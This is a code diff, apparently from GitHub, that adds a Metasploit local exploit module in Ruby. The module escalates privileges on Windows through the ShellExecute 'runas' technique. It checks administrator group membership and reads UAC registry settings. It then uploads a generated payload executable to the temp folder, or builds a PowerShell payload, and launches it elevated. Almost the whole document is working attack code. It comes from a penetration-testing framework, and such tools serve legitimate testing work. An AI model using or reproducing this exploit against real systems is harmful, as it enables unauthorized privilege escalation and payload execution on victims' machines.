|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'msf/core/exploit/exe' |
| 8 | +require 'msf/core/exploit/powershell' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Local |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + include Exploit::EXE |
| 14 | + include Post::File |
| 15 | + include Exploit::Powershell |
| 16 | + |
| 17 | + def initialize(info={}) |
| 18 | + super( update_info( info, |
| 19 | + 'Name' => 'Windows Escalate UAC Execute RunAs', |
| 20 | + 'Description' => %q{ |
| 21 | + This module will attempt to elevate execution level using |
| 22 | + the ShellExecute undocumented RunAs flag to bypass low |
| 23 | + UAC settings. |
| 24 | + }, |
| 25 | + 'License' => MSF_LICENSE, |
| 26 | + 'Author' => [ |
| 27 | + 'mubix', # Original technique |
| 28 | + 'b00stfr3ak' # Added powershell option |
| 29 | + ], |
| 30 | + 'Platform' => [ 'win' ], |
| 31 | + 'SessionTypes' => [ 'meterpreter' ], |
| 32 | + 'Targets' => [ [ 'Windows', {} ] ], |
| 33 | + 'DefaultTarget' => 0, |
| 34 | + 'References' => [ |
| 35 | + [ 'URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html' ] |
| 36 | + ], |
| 37 | + 'DisclosureDate'=> "Jan 3 2012", |
| 38 | + )) |
| 39 | + |
| 40 | + register_options([ |
| 41 | + OptString.new("FILENAME", [ false, "File name on disk"]), |
| 42 | + OptString.new("PATH", [ false, "Location on disk %TEMP% used if not set" ]), |
| 43 | + OptBool.new("UPLOAD", [ true, "Should the payload be uploaded?", true ]), |
| 44 | + OptEnum.new("TECHNIQUE", [ true, "Technique to use", 'EXE', ['PSH', 'EXE'] ]), |
| 45 | + ]) |
| 46 | + |
| 47 | + end |
| 48 | + |
| 49 | + def check |
| 50 | + session.readline |
| 51 | + print_status('Checking admin status...') |
| 52 | + whoami = session.sys.process.execute('cmd /c whoami /groups', |
| 53 | + nil, |
| 54 | + {'Hidden' => true, 'Channelized' => true} |
| 55 | + ) |
| 56 | + cmdout = [] |
| 57 | + while(cmdoutput = whoami.channel.read) |
| 58 | + cmdout << cmdoutput |
| 59 | + end |
| 60 | + if cmdout.size == 0 |
| 61 | + fail_with(Exploit::Failure::None, "Either whoami is not there or failed to execute") |
| 62 | + else |
| 63 | + isinadmins = cmdout.join.scan(/S-1-5-32-544/) |
| 64 | + if isinadmins.size > 0 |
| 65 | + print_good('Part of Administrators group! Continuing...') |
| 66 | + return Exploit::CheckCode::Vulnerable |
| 67 | + else |
| 68 | + print_error('Not in admins group, cannot escalate with this module') |
| 69 | + print_error('Exiting...') |
| 70 | + return Exploit::CheckCode::Safe |
| 71 | + end |
| 72 | + end |
| 73 | + end |
| 74 | + def exploit |
| 75 | + admin_check = check |
| 76 | + if admin_check.join =~ /safe/ |
| 77 | + return Exploit::CheckCode::Safe |
| 78 | + end |
| 79 | + root_key, base_key = session.sys.registry.splitkey("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") |
| 80 | + open_key = session.sys.registry.open_key(root_key, base_key) |
| 81 | + lua_setting = open_key.query_value('EnableLUA') |
| 82 | + |
| 83 | + if lua_setting.data == 1 |
| 84 | + print_status "UAC is Enabled, checking level..." |
| 85 | + else |
| 86 | + print_good "UAC is not enabled, no prompt for the user" |
| 87 | + end |
| 88 | + |
| 89 | + uac_level = open_key.query_value('ConsentPromptBehaviorAdmin') |
| 90 | + |
| 91 | + case uac_level.data |
| 92 | + when 2 |
| 93 | + print_status "UAC is set to 'Always Notify'" |
| 94 | + print_status "The user will be prompted, wait for them to click 'Ok'" |
| 95 | + when 5 |
| 96 | + print_debug "UAC is set to Default" |
| 97 | + print_debug "The user will be prompted, wait for them to click 'Ok'" |
| 98 | + when 0 |
| 99 | + print_good "UAC is not enabled, no prompt for the user" |
| 100 | + end |
| 101 | + |
| 102 | + # |
| 103 | + # Generate payload and random names for upload |
| 104 | + # |
| 105 | + case datastore["TECHNIQUE"] |
| 106 | + when "EXE" |
| 107 | + exe_payload = generate_payload_exe |
| 108 | + payload_filename = datastore["FILENAME"] || Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" |
| 109 | + payload_path = datastore["PATH"] || expand_path("%TEMP%") |
| 110 | + cmd_location = "#{payload_path}\\#{payload_filename}" |
| 111 | + if datastore["UPLOAD"] |
| 112 | + print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...") |
| 113 | + write_file(cmd_location, exe_payload) |
| 114 | + else |
| 115 | + #print_error("No Upload Path!") |
| 116 | + fail_with(Exploit::Failure::BadConfig, "No Upload Path!") |
| 117 | + return |
| 118 | + end |
| 119 | + command, args = cmd_location,nil |
| 120 | + session.railgun.shell32.ShellExecuteA(nil,"runas",command,args,nil,5) |
| 121 | + when "PSH" |
| 122 | + command, args = "cmd.exe", " /c #{cmd_psh_payload(payload.encoded)}" |
| 123 | + end |
| 124 | + session.railgun.shell32.ShellExecuteA(nil,"runas",command,args,nil,5) |
| 125 | + end |
| 126 | +end |
0 commit comments